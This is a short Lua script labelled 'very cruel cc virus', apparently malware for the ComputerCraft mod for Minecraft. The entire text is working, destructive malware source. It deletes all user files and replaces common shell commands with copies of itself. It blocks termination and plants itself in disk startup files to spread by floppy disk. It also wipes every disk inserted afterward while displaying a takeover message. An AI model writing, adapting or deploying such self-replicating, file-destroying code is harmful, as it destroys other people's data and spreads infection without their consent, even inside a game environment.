very cruel cc virus

--unfinished/tested code. This should disable them from using commands as well as deleting files.
local mk = {"startup", "list", "cd", "delete", "move", "copy", "edit", "lua", "clear"}

x = [[

-- test this out
S = '"'..shell.resolve(shell.getRunningProgram())..'"'
--end of test

local mk = {"startup", "list", "cd", "delete", "move", "copy", "edit", "lua"}
os.pullEvent = os.pullEventRaw

for k, v in pairs(mk) do
 if fs.exists(v) then
 else
   fs.copy(S, v)
 end
end

if fs.isDir("disk") then
  fs.delete("disk/startup")
  fs.copy(S, "disk/startup")
end

while true do
  term.clear()
  term.setCursorPos(10,10)
  print("THE GOBLIN VIRUS TOOK OVER")
  local _, side = os.pullEvent("disk")
  local filelist = fs.list("disk/")
 for _, file in ipairs(filelist) do
   fs.delete("disk/"..file)
 end
  fs.copy("startup", "disk/startup")
  disk.eject(side)
end
]]

local filelist = fs.list("/")
for _, file in ipairs(filelist) do
if file == "rom" then
else
fs.delete(file)
end
end

for k, v in pairs(mk) do
local file = fs.open(v, "w")
file.write("S = "..'"'..v..'"'.." "..x)
file.close()
end

shell.run("startup")